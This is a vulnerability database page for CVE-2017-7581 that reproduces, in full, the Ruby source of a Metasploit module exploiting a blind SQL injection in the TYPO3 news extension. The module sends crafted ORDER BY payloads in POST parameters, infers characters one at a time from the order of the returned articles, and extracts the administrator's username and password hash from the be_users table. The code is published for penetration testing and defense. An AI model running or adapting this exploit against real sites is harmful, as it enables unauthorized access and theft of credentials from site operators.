| Reporter | Title | Published | Views | Family All 7 |
|---|---|---|---|---|
| CVE-2017-7581 | 29 May 201815:50 | – | circl | |
| CVE-2017-7581 | 7 Apr 201719:00 | – | cve | |
| CVE-2017-7581 | 7 Apr 201719:00 | – | cvelist | |
| TYPO3 News Module SQL Injection | 12 Mar 201812:00 | – | metasploit | |
| CVE-2017-7581 | 7 Apr 201719:59 | – | nvd | |
| Sql injection | 7 Apr 201719:59 | – | prion | |
| SQL Injection | 22 May 201706:52 | – | veracode |
`##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Report
def initialize(info = {})
super(
update_info(
info,
'Name' => 'TYPO3 News Module SQL Injection',
'Description' => %q{
This module exploits a SQL Injection vulnerability In TYPO3 NewsController.php
in the news module 5.3.2 and earlier. It allows an unauthenticated user to execute arbitrary
SQL commands via vectors involving overwriteDemand and OrderByAllowed. The SQL injection
can be used to obtain password hashes for application user accounts. This module has been
tested on TYPO3 3.16.0 running news extension 5.0.0.
This module tries to extract username and password hash of the administrator user.
It tries to inject sql and check every letter of a pattern, to see
if it belongs to the username or password it tries to alter the ordering of results. If
the letter doesn't belong to the word being extracted then all results are inverted
(News #2 appears before News #1, so Pattern2 before Pattern1), instead if the letter belongs
to the word being extracted then the results are in proper order (News #1 appears before News #2,
so Pattern1 before Pattern2)
},
'License' => MSF_LICENSE,
'Author' => [
'Marco Rivoli', # MSF code
'Charles Fol' # initial discovery, POC
],
'References' => [
['CVE', '2017-7581'],
['URL', 'http://www.ambionics.io/blog/typo3-news-module-sqli'] # Advisory
],
'Privileged' => false,
'Platform' => ['php'],
'Arch' => ARCH_PHP,
'DisclosureDate' => '2017-04-06'
)
)
register_options(
[
OptString.new('TARGETURI', [true, 'The path of TYPO3', '/']),
OptString.new('ID', [true, 'The id of TYPO3 news page', '1']),
OptString.new('PATTERN1', [false, 'Pattern of the first article title', 'Article #1']),
OptString.new('PATTERN2', [false, 'Pattern of the second article title', 'Article #2'])
]
)
end
def dump_the_hash(patterns = {})
ascii_charset_lower = 'a'.upto('z').to_a.join('')
ascii_charset_upper = 'A'.upto('Z').to_a.join('')
ascii_charset = "#{ascii_charset_lower}#{ascii_charset_upper}"
digit_charset = '0'.upto('9').to_a.join('')
full_charset = "#{ascii_charset}#{digit_charset}$./"
username = blind('username', 'be_users', 'uid=1', ascii_charset, digit_charset, patterns)
print_good("Username: #{username}")
password = blind('password', 'be_users', 'uid=1', full_charset, digit_charset, patterns)
print_good("Password Hash: #{password}")
connection_details = {
module_fullname: fullname,
username: username,
private_data: password,
private_type: :nonreplayable_hash,
workspace_id: myworkspace_id
}.merge!(service_details)
credential_core = create_credential(connection_details)
login_data = {
core: credential_core,
status: Metasploit::Model::Login::Status::UNTRIED,
workspace_id: myworkspace_id
}.merge(service_details)
create_credential_login(login_data)
end
def blind(field, table, condition, charset, digit_charset, patterns = {})
# Adding 9 so that the result has two digits, If the length is superior to 100-9 it won't work
offset = 9
size = blind_size("length(#{field})+#{offset}",
table,
condition,
2,
digit_charset,
patterns)
size = size.to_i - offset
vprint_status("Retrieving field '#{field}' string (#{size} bytes)...")
data = blind_size(field,
table,
condition,
size,
charset,
patterns)
data
end
def select_position(field, table, condition, position, char)
payload1 = "select(#{field})from(#{table})where(#{condition})"
payload2 = "ord(substring((#{payload1})from(#{position})for(1)))"
payload3 = "uid*(case((#{payload2})=#{char.ord})when(1)then(1)else(-1)end)"
payload3
end
def blind_size(field, table, condition, size, charset, patterns = {})
str = ''
for position in 0..size
for char in charset.split('')
payload = select_position(field, table, condition, position + 1, char)
if test(payload, patterns)
str += char.to_s
break
end
end
end
str
end
def test(payload, patterns = {})
begin
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'index.php'),
'vars_get' => {
'id' => datastore['ID'],
'no_cache' => '1'
},
'vars_post' => {
'tx_news_pi1[overwriteDemand][OrderByAllowed]' => payload,
'tx_news_pi1[search][maximumDate]' => '', # Not required
'tx_news_pi1[overwriteDemand][order]' => payload,
'tx_news_pi1[search][subject]' => '',
'tx_news_pi1[search][minimumDate]' => '' # Not required
}
})
rescue Rex::ConnectionError, Errno::CONNRESET => e
print_error("Failed: #{e.class} - #{e.message}")
end
if res && res.code == 200 && !(res.body.index(patterns[:pattern1]).nil? || res.body.index(patterns[:pattern2]).nil?)
return res.body.index(patterns[:pattern1]) < res.body.index(patterns[:pattern2])
end
false
end
def try_autodetect_patterns
print_status('Trying to automatically determine Pattern1 and Pattern2...')
begin
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'index.php'),
'vars_get' => {
'id' => datastore['ID'],
'no_cache' => '1'
}
})
rescue Rex::ConnectionError, Errno::ECONNRESET => e
print_error("Failed: #{e.class} - #{e.message}")
return '', ''
end
if res && res.code == 200
news = res.get_html_document.search('div[@itemtype="http://schema.org/Article"]')
pattern1 = news[0].nil? ? '' : news[0].search('span[@itemprop="headline"]').text
pattern2 = news[1].nil? ? '' : news[1].search('span[@itemprop="headline"]').text
end
if pattern1.to_s.eql?('') || pattern2.to_s.eql?('')
print_status("Couldn't determine Pattern1 and Pattern2 automatically, switching to user specified values...")
pattern1 = datastore['PATTERN1']
pattern2 = datastore['PATTERN2']
end
print_status("Pattern1: #{pattern1}, Pattern2: #{pattern2}")
return pattern1, pattern2
end
def run
pattern1, pattern2 = try_autodetect_patterns
if pattern1 == '' || pattern2 == ''
print_error('Unable to determine pattern, aborting...')
else
dump_the_hash(pattern1: pattern1, pattern2: pattern2)
end
end
end
`
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation